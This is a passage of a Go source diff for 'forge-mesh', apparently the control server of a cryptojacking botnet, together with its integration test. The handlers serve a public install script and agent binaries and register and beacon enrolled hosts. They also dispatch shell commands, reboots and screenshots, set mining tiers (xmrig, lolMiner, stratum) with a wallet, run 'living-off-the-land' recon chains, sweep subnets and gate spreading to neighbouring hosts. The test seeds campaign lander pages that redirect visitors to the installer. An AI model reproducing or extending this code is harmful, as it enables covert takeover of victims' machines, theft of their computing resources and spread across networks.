INSERT OR REPLACE INTO policy_snapshots (token, policy_json, expires_at)
VALUES (?, ?, datetime('now', '+1 day'))`, token, policyJSON)
return err
}
// SeedCampaign inserts a war-room campaign row.
func SeedCampaign(ctx context.Context, db *sql.DB, code, name string, heat int) error {
_, err := db.ExecContext(ctx, `
INSERT OR REPLACE INTO campaigns (id, code, name, heat)
VALUES (?, ?, ?, ?)`, uuid.NewString(), code, name, heat)
return err
}
// PublicBuildsList lists public build metadata.
func PublicBuildsList(db *sql.DB) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
rows, err := db.QueryContext(r.Context(), `
SELECT id, os, arch, version, checksum, public
FROM builds WHERE public = 1 ORDER BY created_at DESC LIMIT 20`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type row struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Download string `json:"download_url"`
}
var builds []row
for rows.Next() {
var b row
var pub int
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &pub); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
b.Download = "/api/v1/public/download/" + b.ID
builds = append(builds, b)
}
if builds == nil {
builds = []row{}
}
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
}
}
// CrucibleLegacy wraps CrucibleHandler for plan route names.
type CrucibleLegacy struct {
*CrucibleHandler
}
func (c *CrucibleLegacy) Batch(w http.ResponseWriter, r *http.Request) {
c.Dispatch(w, r)
}
func (c *CrucibleLegacy) BatchGet(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if id == "" {
id = strings.TrimPrefix(r.URL.Path, "/api/v1/crucible/batch/")
}
if id == "" || strings.Contains(id, "/") {
http.Error(w, "batch id required", http.StatusBadRequest)
return
}
job, ok := c.Crucible.Get(id)
if !ok {
http.Error(w, "not found", http.StatusNotFound)
return
}
auth.JSON(w, http.StatusOK, job)
}
func (c *CrucibleLegacy) Exec(w http.ResponseWriter, r *http.Request) {
if err := fleet.CheckAction(c.OperatorClearance, fleet.ActionShell); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
return
}
var req struct {
HostID string `json:"host_id"`
Command string `json:"command"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.HostID == "" || req.Command == "" {
http.Error(w, "host_id and command required", http.StatusBadRequest)
return
}
cmd, err := c.Hub.DispatchCommand(req.HostID, fleet.ActionShell, map[string]any{"command": req.Command})
sent := err == nil
auth.JSON(w, http.StatusOK, map[string]any{
"ok": sent, "host_id": req.HostID, "command": req.Command, "dispatch": cmd,
})
}

View File

@@ -0,0 +1,101 @@
package handlers
import (
"encoding/json"
"fmt"
"net/http"
"strings"
"forge-mesh/internal/alerts"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/fleet"
)
// FleetHandler serves fleet REST endpoints.
type FleetHandler struct {
Store *fleet.Store
Hub *fleet.Hub
Alerts *alerts.Notifier
Cfg *config.Config
OperatorClearance int
}
func (h *FleetHandler) List(w http.ResponseWriter, r *http.Request) {
summary, err := h.Store.BuildFleetSummary()
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, summary)
}
type registerRequest struct {
Hostname string `json:"hostname"`
Fingerprint string `json:"fingerprint"`
Arch string `json:"arch"`
}
func (h *FleetHandler) Register(w http.ResponseWriter, r *http.Request) {
var req registerRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if req.Hostname == "" {
req.Hostname = "enrolled-host"
}
host, err := h.Store.TouchHost(req.Hostname, req.Fingerprint, req.Arch)
if err != nil {
http.Error(w, "register failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"host_id": host.ID,
"host": fleet.ToFleetCard(host),
})
}
func (h *FleetHandler) Command(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
var req struct {
Action string `json:"action"`
Args map[string]any `json:"args"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
action := strings.ToLower(req.Action)
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
auth.JSON(w, http.StatusForbidden, map[string]any{
"error": err.Error(),
"required_clearance": fleet.RequiredClearanceOrZero(action),
})
return
}
cmd, err := h.Hub.DispatchCommand(hostID, action, req.Args)
if err != nil {
http.Error(w, "dispatch failed", http.StatusInternalServerError)
return
}
if h.Alerts != nil && h.Alerts.Enabled() {
h.Alerts.Send(alerts.FleetEvent(action, hostID, fmt.Sprintf("cmd: `%s`", cmd.ID)))
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"command": cmd,
})
}

View File

@@ -0,0 +1,84 @@
package handlers
import (
"database/sql"
"encoding/json"
"net/http"
"forge-mesh/internal/auth"
"forge-mesh/internal/forge"
)
// ForgeHandler manages build artifacts.
type ForgeHandler struct {
DB *sql.DB
Pipeline *forge.Pipeline
Version string
}
func (h *ForgeHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
rows, err := h.DB.Query(`
SELECT id, os, arch, version, checksum, signature, public, created_at
FROM builds ORDER BY created_at DESC LIMIT 50
`)
if err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
defer rows.Close()
type buildRow struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Signature string `json:"signature,omitempty"`
Public bool `json:"public"`
CreatedAt string `json:"created_at"`
}
var builds []buildRow
for rows.Next() {
var b buildRow
var sig sql.NullString
var pub int
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &sig, &pub, &b.CreatedAt); err != nil {
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
b.Public = pub == 1
if sig.Valid {
b.Signature = sig.String
}
builds = append(builds, b)
}
if builds == nil {
builds = []buildRow{}
}
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
}
func (h *ForgeHandler) TriggerBuild(w http.ResponseWriter, r *http.Request) {
var req struct {
Public bool `json:"public"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
if !req.Public {
req.Public = true
}
builds, err := h.Pipeline.BuildAll(req.Public)
if err != nil {
auth.JSON(w, http.StatusOK, map[string]any{
"ok": false,
"message": err.Error(),
})
return
}
auth.JSON(w, http.StatusOK, map[string]any{
"ok": true,
"builds": builds,
})
}

View File

@@ -0,0 +1,34 @@
package handlers
import (
"encoding/json"
"net/http"
"time"
)
type HealthResponse struct {
Status string `json:"status"`
Service string `json:"service"`
Version string `json:"version"`
Timestamp string `json:"timestamp"`
}
// Health returns a basic liveness handler for GET /api/v1/health.
func Health(version string) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
resp := HealthResponse{
Status: "ok",
Service: "forge-mesh-server",
Version: version,
Timestamp: time.Now().UTC().Format(time.RFC3339),
}
w.Header().Set("Content-Type", "application/json")
_ = json.NewEncoder(w).Encode(resp)
}
}

View File

@@ -0,0 +1,29 @@
package handlers
import (
"bytes"
"os"
"path/filepath"
"testing"
"text/template"
)
func TestInstallTemplateExecute(t *testing.T) {
root, _ := filepath.Abs(filepath.Join("..", "..", ".."))
tmplPath := filepath.Join(root, "scripts", "install.sh.tpl")
b, err := os.ReadFile(tmplPath)
if err != nil {
t.Fatal(err)
}
tmpl, err := template.New("install.sh").Parse(string(b))
if err != nil {
t.Fatalf("parse: %v", err)
}
data := installData{
DeckURL: "http://localhost:8989", PublicKey: "abc", FleetSecret: "sec",
}
var buf bytes.Buffer
if err := tmpl.Execute(&buf, data); err != nil {
t.Fatalf("execute: %v", err)
}
}

View File

@@ -0,0 +1,253 @@
package handlers
import (
"encoding/json"
"io"
"net/http"
"strconv"
"forge-mesh/internal/auth"
"forge-mesh/internal/court"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
)
// IntelligenceDeps bundles triple-onion fleet intelligence handlers.
type IntelligenceDeps struct {
Store *fleet.Store
Subnet *fleet.SubnetMapper
Earn *fleet.EarnGate
}
// RunLOTL handles POST /api/v1/fleet/{id}/lotl/run — execute tier chain with recon.
func RunLOTL(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
if hostID == "" {
http.Error(w, "host id required", http.StatusBadRequest)
return
}
strategy := fleet.AdaptiveStrategy{Store: deps.Store}
order, err := strategy.OrderForHost(r.Context(), hostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
results, err := fleet.RunTierChain(r.Context(), deps.Store, hostID, order)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{
"host_id": hostID,
"order": order,
"results": results,
})
}
}
// ListLOTL handles GET /api/v1/fleet/{id}/lotl.
func ListLOTL(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
attempts, err := deps.Store.ListLOTL(r.Context(), hostID, 100)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{
"host_id": hostID,
"attempts": attempts,
})
}
}
// SpreadGate handles GET /api/v1/fleet/{id}/spread-gate (earn-before-burn).
func SpreadGate(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
hostID := r.PathValue("id")
dec, err := deps.Earn.CanSpreadToSiblings(r.Context(), hostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, dec)
}
}
// SubnetList handles GET /api/v1/fleet/subnets.
func SubnetList(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
cidrs, err := deps.Subnet.ListCIDRs(r.Context())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{"cidrs": cidrs})
}
}
// SubnetAdd handles POST /api/v1/fleet/subnets.
func SubnetAdd(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req struct {
CIDR string `json:"cidr"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.CIDR == "" {
http.Error(w, "cidr required", http.StatusBadRequest)
return
}
c, err := deps.Subnet.AddCIDR(r.Context(), req.CIDR)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
auth.JSON(w, http.StatusCreated, c)
}
}
// SubnetSweep handles POST /api/v1/fleet/subnets/sweep.
func SubnetSweep(deps IntelligenceDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
results, err := deps.Subnet.SweepAll(r.Context())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]interface{}{"results": results})
}
}
// CourtDeps bundles court handler dependencies.
type CourtDeps struct {
Court *court.Court
Seer *court.SeerHub
}
// CourtOpen handles POST /api/v1/court/sessions.
func CourtOpen(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
var req struct {
HostID string `json:"host_id"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.HostID == "" {
http.Error(w, "host_id required", http.StatusBadRequest)
return
}
s, err := deps.Court.OpenSession(r.Context(), req.HostID)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, s)
}
}
// CourtDeliberate handles POST /api/v1/court/sessions/{id}/deliberate.
func CourtDeliberate(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
s, err := deps.Court.Deliberate(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, s)
}
}
// CourtVerdict handles POST /api/v1/court/sessions/{id}/verdict (L4).
func CourtVerdict(deps CourtDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var req struct {
Verdict string `json:"verdict"`
Clearance int `json:"clearance"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Verdict == "" {
http.Error(w, "verdict required", http.StatusBadRequest)
return
}
if req.Clearance == 0 {
req.Clearance = 4
}
if err := deps.Court.DispatchVerdict(r.Context(), id, req.Verdict, req.Clearance); err != nil {
http.Error(w, err.Error(), http.StatusForbidden)
return
}
auth.JSON(w, http.StatusOK, map[string]string{"ok": "true", "verdict": req.Verdict})
}
}
// Timeline handles GET /api/v1/fleet/{id}/timeline (LOTL + court).
func Timeline(deps CourtDeps) http.HandlerFunc {
return court.TimelineHandler(deps.Court)
}
// ErasureDeps bundles public erasure routes.
type ErasureDeps struct {
Service *erasure.Service
}
// ErasureEncode handles POST /api/v1/public/erasure/encode (dev/admin via basic elsewhere).
func ErasureEncode(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if name == "" {
name = "bundle"
}
data, err := io.ReadAll(io.LimitReader(r.Body, 16<<20))
if err != nil {
http.Error(w, "read error", http.StatusBadRequest)
return
}
b, err := deps.Service.Encode(r.Context(), name, data)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusCreated, b)
}
}
// ErasureShard handles GET /api/v1/public/erasure/{bundle_id}/shard/{index}.
func ErasureShard(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
http.Error(w, "invalid index", http.StatusBadRequest)
return
}
sh, err := deps.Service.GetShard(r.Context(), bundleID, idx)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("X-Shard-Index", strconv.Itoa(sh.ShardIndex))
_, _ = w.Write(sh.Data)
}
}
// ErasureBundleMeta handles GET /api/v1/public/erasure/{bundle_id}.
func ErasureBundleMeta(deps ErasureDeps) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
bundleID := r.PathValue("bundle_id")
b, err := deps.Service.GetBundle(r.Context(), bundleID)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
indices, _ := deps.Service.ListShards(r.Context(), bundleID)
auth.JSON(w, http.StatusOK, map[string]interface{}{
"bundle": b,
"shards": indices,
"public": true,
"scheme": "RS_4_2",
})
}
}

View File

@@ -0,0 +1,138 @@
package handlers
import (
"bytes"
"database/sql"
"fmt"
"text/template"
"net/http"
"os"
"strings"
"forge-mesh/internal/forge"
)
// PublicHandlers serves unauthenticated summon routes.
type PublicHandlers struct {
DB *sql.DB
ArtifactsDir string
PublicKeyHex string
FleetSecret string
Version string
InstallTmpl *template.Template
DeckURL func(r *http.Request) string
}
type installData struct {
DeckURL string
PublicKey string
FleetSecret string
Pin string
Campaign string
}
func NewPublicHandlers(db *sql.DB, artifactsDir, publicKeyHex string, installTmplPath string) (*PublicHandlers, error) {
tmplBytes, err := os.ReadFile(installTmplPath)
if err != nil {
return nil, fmt.Errorf("read install template: %w", err)
}
tmpl, err := template.New("install.sh").Parse(string(tmplBytes))
if err != nil {
return nil, fmt.Errorf("parse install template: %w", err)
}
return &PublicHandlers{
DB: db,
ArtifactsDir: artifactsDir,
PublicKeyHex: publicKeyHex,
InstallTmpl: tmpl,
DeckURL: func(r *http.Request) string {
scheme := "http"
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
scheme = "https"
}
return fmt.Sprintf("%s://%s", scheme, r.Host)
},
}, nil
}
func (h *PublicHandlers) InstallSh(w http.ResponseWriter, r *http.Request) {
data := installData{
DeckURL: h.DeckURL(r),
PublicKey: h.PublicKeyHex,
FleetSecret: h.FleetSecret,
Pin: r.URL.Query().Get("pin"),
Campaign: r.URL.Query().Get("c"),
}
var buf bytes.Buffer
if err := h.InstallTmpl.Execute(&buf, data); err != nil {
http.Error(w, "template error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
w.Write(buf.Bytes())
}
func (h *PublicHandlers) GetRedirect(w http.ResponseWriter, r *http.Request) {
target := "/install.sh"
if q := r.URL.RawQuery; q != "" {
target += "?" + q
}
http.Redirect(w, r, target, http.StatusFound)
}
func (h *PublicHandlers) LatestBuild(w http.ResponseWriter, r *http.Request) {
osName := r.URL.Query().Get("os")
arch := r.URL.Query().Get("arch")
if osName == "" {
osName = "linux"
}
if arch == "" {
arch = "amd64"
}
build, err := forge.LatestPublic(h.DB, osName, arch)
if err != nil {
if err == sql.ErrNoRows {
http.Error(w, "no public build", http.StatusNotFound)
return
}
http.Error(w, "internal error", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "application/json")
fmt.Fprintf(w, `{"id":%q,"os":%q,"arch":%q,"version":%q,"checksum":%q,"signature":%q,"download_url":"/api/v1/public/download/%s"}`,
build.ID, build.OS, build.Arch, build.Version, build.Checksum, build.Signature, build.ID)
}
func (h *PublicHandlers) Download(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if strings.Contains(id, "..") {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
build, err := forge.GetBuild(h.DB, id)
if err != nil {
http.Error(w, "not found", http.StatusNotFound)
return
}
if !build.Public {
http.Error(w, "forbidden", http.StatusForbidden)
return
}
if build.Path == "" {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="forge-mesh-agent-%s-%s"`, build.OS, build.Arch))
if err := forge.CopyArtifact(build.Path, w); err != nil {
http.Error(w, "read error", http.StatusInternalServerError)
}
}

View File

@@ -0,0 +1,174 @@
package handlers
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"strings"
"time"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/fleet"
)
// SeerHandler streams court/LOTL events via SSE.
type SeerHandler struct {
Store *fleet.Store
Username string
Password string
}
func (h *SeerHandler) Stream(w http.ResponseWriter, r *http.Request) {
if !h.authenticated(r) {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
flusher, ok := w.(http.Flusher)
if !ok {
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
return
}
w.Header().Set("Content-Type", "text/event-stream")
w.Header().Set("Cache-Control", "no-cache")
w.Header().Set("Connection", "keep-alive")
events, _ := h.Store.ListSeerEvents(20)
for _, ev := range events {
payload, _ := json.Marshal(ev)
fmt.Fprintf(w, "data: %s\n\n", payload)
}
flusher.Flush()
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-r.Context().Done():
return
case <-ticker.C:
events, err := h.Store.ListSeerEvents(5)
if err != nil {
continue
}
for _, ev := range events {
payload, _ := json.Marshal(ev)
fmt.Fprintf(w, "data: %s\n\n", payload)
flusher.Flush()
}
}
}
}
func (h *SeerHandler) authenticated(r *http.Request) bool {
if user, pass, ok := r.BasicAuth(); ok {
return user == h.Username && pass == h.Password
}
if authHeader := r.URL.Query().Get("authorization"); authHeader != "" {
raw := strings.TrimPrefix(authHeader, "Basic ")
decoded, err := base64.StdEncoding.DecodeString(raw)
if err != nil {
return false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
}
return parts[0] == h.Username && parts[1] == h.Password
}
return false
}
// WSTicketHandler issues one-time WebSocket tickets.
type WSTicketHandler struct {
Tickets *auth.TicketStore
}
func (h *WSTicketHandler) Issue(w http.ResponseWriter, r *http.Request) {
ticket, err := h.Tickets.Issue()
if err != nil || ticket == "" {
http.Error(w, "ticket issue failed", http.StatusInternalServerError)
return
}
auth.JSON(w, http.StatusOK, map[string]string{"ticket": ticket})
}
// OperatorHandler returns operator clearance info.
type OperatorHandler struct {
Clearance int
}
func (h *OperatorHandler) Me(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, map[string]any{
"clearance_level": h.Clearance,
"label": fleet.ClearanceLabel(h.Clearance),
})
}
// PolicyHandler serves wallet and mining profile endpoints.
type PolicyHandler struct {
Cfg *config.Config
Store *fleet.Store
}
func (h *PolicyHandler) GetWallet(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
}
func (h *PolicyHandler) PutWallet(w http.ResponseWriter, r *http.Request) {
var wp config.WalletPolicy
if err := json.NewDecoder(r.Body).Decode(&wp); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if wp.DefaultWallet != "" {
h.Cfg.WalletPolicy.DefaultWallet = wp.DefaultWallet
}
if wp.Currency != "" {
h.Cfg.WalletPolicy.Currency = wp.Currency
}
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
}
func (h *PolicyHandler) GetMiningProfile(w http.ResponseWriter, r *http.Request) {
auth.JSON(w, http.StatusOK, defaultMiningProfile(h.Cfg))
}
func (h *PolicyHandler) PutMiningProfile(w http.ResponseWriter, r *http.Request) {
var profile miningProfileRequest
if err := json.NewDecoder(r.Body).Decode(&profile); err != nil {
http.Error(w, "bad request", http.StatusBadRequest)
return
}
if profile.WalletAddress != "" {
h.Cfg.WalletPolicy.DefaultWallet = profile.WalletAddress
}
auth.JSON(w, http.StatusOK, profile)
}
type miningProfileRequest struct {
WalletAddress string `json:"wallet_address"`
Tiers []tierEntry `json:"tiers"`
}
type tierEntry struct {
Tier int `json:"tier"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
}
func defaultMiningProfile(cfg *config.Config) miningProfileRequest {
return miningProfileRequest{
WalletAddress: cfg.WalletPolicy.DefaultWallet,
Tiers: []tierEntry{
{Tier: 1, Name: "OCI podman", Enabled: true},
{Tier: 2, Name: "Bundled xmrig", Enabled: true},
{Tier: 3, Name: "GPU lolMiner", Enabled: true},
{Tier: 4, Name: "Stratum-direct fallback", Enabled: false},
},
}
}

View File

@@ -0,0 +1,718 @@
//go:build integration
package api_test
import (
"bufio"
"bytes"
"context"
"database/sql"
"encoding/json"
"fmt"
"io"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"testing"
"time"
"forge-mesh/internal/api/handlers"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/testutil"
"github.com/gorilla/websocket"
)
type routeResult struct {
name string
pass bool
detail string
}
func TestIntegrationAllRoutes(t *testing.T) {
ts := testutil.NewTestServer(t)
defer ts.Close()
seedData(t, ts)
var results []routeResult
record := func(name string, pass bool, detail string) {
results = append(results, routeResult{name: name, pass: pass, detail: detail})
if !pass {
t.Errorf("%s: %s", name, detail)
}
}
check := func(name string, fn func() (bool, string)) {
pass, detail := fn()
record(name, pass, detail)
}
// --- Public routes ---
check("GET /api/v1/health", func() (bool, string) { return testHealth(t, ts) })
check("GET /install.sh", func() (bool, string) { return testInstallSh(t, ts) })
check("GET /get", func() (bool, string) { return testGetRedirect(t, ts) })
check("GET /spread/", func() (bool, string) { return testSpread(t, ts) })
check("GET /api/v1/public/builds", func() (bool, string) { return testPublicBuilds(t, ts) })
check("GET /api/v1/public/builds/latest", func() (bool, string) { return testPublicBuildsLatest(t, ts) })
check("GET /api/v1/public/download/{id}", func() (bool, string) { return testPublicDownload(t, ts) })
check("GET /api/v1/public/erasure/{bundle_id}", func() (bool, string) { return testErasureBundle(t, ts) })
check("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", func() (bool, string) { return testErasureShard(t, ts) })
check("GET /api/v1/public/policy-snapshot/{token}", func() (bool, string) { return testPolicySnapshot(t, ts) })
// --- Agent routes (Bearer) ---
check("POST /api/v1/fleet/register", func() (bool, string) { return testFleetRegister(t, ts) })
check("POST /api/v1/fleet/beacon", func() (bool, string) { return testFleetBeacon(t, ts) })
// --- Protected routes (Basic) ---
check("GET /api/v1/fleet", func() (bool, string) { return testFleetList(t, ts) })
check("GET /api/v1/fleet/hosts", func() (bool, string) { return testFleetHosts(t, ts) })
check("POST /api/v1/fleet/{id}/mining-profile", func() (bool, string) { return testMiningProfile(t, ts) })
check("POST /api/v1/fleet/{id}/action pause", func() (bool, string) { return testFleetAction(t, ts, "pause") })
check("POST /api/v1/fleet/{id}/action reboot", func() (bool, string) { return testFleetAction(t, ts, "reboot") })
check("POST /api/v1/fleet/{id}/action screenshot", func() (bool, string) { return testFleetAction(t, ts, "screenshot") })
check("GET /api/v1/fleet/{id}/lotl/timeline", func() (bool, string) { return testLOTLTimeline(t, ts) })
check("GET /api/v1/forge/builds", func() (bool, string) { return testForgeBuilds(t, ts) })
check("GET /api/v1/calibrate/profiles", func() (bool, string) { return testCalibrateProfiles(t, ts) })
check("POST /api/v1/crucible/batch", func() (bool, string) { return testCrucibleBatch(t, ts) })
check("GET /api/v1/crucible/batch/{id}", func() (bool, string) { return testCrucibleBatchGet(t, ts) })
check("POST /api/v1/crucible/exec", func() (bool, string) { return testCrucibleExec(t, ts) })
check("GET /api/v1/seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/api/v1/seer") })
check("GET /seer (SSE)", func() (bool, string) { return testSeerSSE(t, ts, "/seer") })
check("GET /api/v1/war-room/campaigns", func() (bool, string) { return testWarRoom(t, ts) })
check("GET /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardList(t, ts) })
check("POST /api/v1/wireguard/peers", func() (bool, string) { return testWireGuardCreate(t, ts) })
// --- WebSocket ---
check("POST /api/v1/ws/ticket", func() (bool, string) { return testWSTicket(t, ts) })
check("GET /api/v1/ws/fleet deck connect", func() (bool, string) { return testWSFleetDeck(t, ts) })
check("GET /api/v1/ws/fleet agent heartbeat", func() (bool, string) { return testWSFleetAgentHeartbeat(t, ts) })
check("GET /api/v1/ws/fleet command roundtrip", func() (bool, string) { return testWSCommandRoundtrip(t, ts) })
t.Log("--- Route checklist ---")
passed, failed := 0, 0
for _, r := range results {
status := "PASS"
if !r.pass {
status = "FAIL"
failed++
} else {
passed++
}
t.Logf("[%s] %s %s", status, r.name, r.detail)
}
t.Logf("Total: %d passed, %d failed", passed, failed)
}
var (
testHostID string
testBundleID string
testBatchID string
)
func seedData(t *testing.T, ts *testutil.TestServer) {
t.Helper()
ctx := context.Background()
// Demo host from SeedDemoHost
hosts, err := fleet.NewStore(ts.SQL).ListHosts()
if err != nil || len(hosts) == 0 {
t.Fatal("expected seeded demo host")
}
testHostID = hosts[0].ID
_ = fleet.NewStore(ts.SQL).LogLOTL(ctx, testHostID, 2, "deploy", "success", "", `{}`)
svc := erasure.NewService(ts.SQL)
bundle, err := svc.Encode(ctx, "integration-test", []byte("aetherforge erasure integration payload"))
if err != nil {
t.Fatalf("seed erasure: %v", err)
}
testBundleID = bundle.ID
policyJSON := `{"wallet_address":"test-wallet","tiers":[{"type":"xmrig"}]}`
if err := handlers.SeedPolicySnapshot(ctx, ts.SQL, "test-policy-token", policyJSON); err != nil {
t.Fatalf("seed policy: %v", err)
}
if err := handlers.SeedCampaign(ctx, ts.SQL, "ember", "Emberwake Test", 42); err != nil {
t.Fatalf("seed campaign: %v", err)
}
artifactPath := filepath.Join(t.TempDir(), "agent-linux-amd64")
if err := os.WriteFile(artifactPath, []byte("#!/bin/sh\necho agent"), 0o755); err != nil {
t.Fatalf("write artifact: %v", err)
}
buildID := "integration-build-amd64"
_, err = ts.SQL.ExecContext(ctx, `
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
VALUES (?, 'linux', 'amd64', 'integration-test', 'abc123', 'sig', 1, ?, datetime('now'))`,
buildID, artifactPath)
if err != nil {
t.Fatalf("seed build: %v", err)
}
}
func testHealth(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/health")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
return false, err.Error()
}
if body["status"] != "ok" {
return false, fmt.Sprintf("body %v", body)
}
return true, "200 ok"
}
func testInstallSh(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/install.sh")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return false, fmt.Sprintf("status %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
return true, "200 shell script"
}
func testGetRedirect(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/get?c=test")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusFound {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
loc := resp.Header.Get("Location")
if !strings.Contains(loc, "/install.sh") {
return false, "missing install.sh redirect"
}
return true, "302 -> install.sh"
}
func testSpread(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/spread/?c=ember")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
body, _ := io.ReadAll(resp.Body)
if !strings.Contains(string(body), "Emberwake") {
return false, "missing lander content"
}
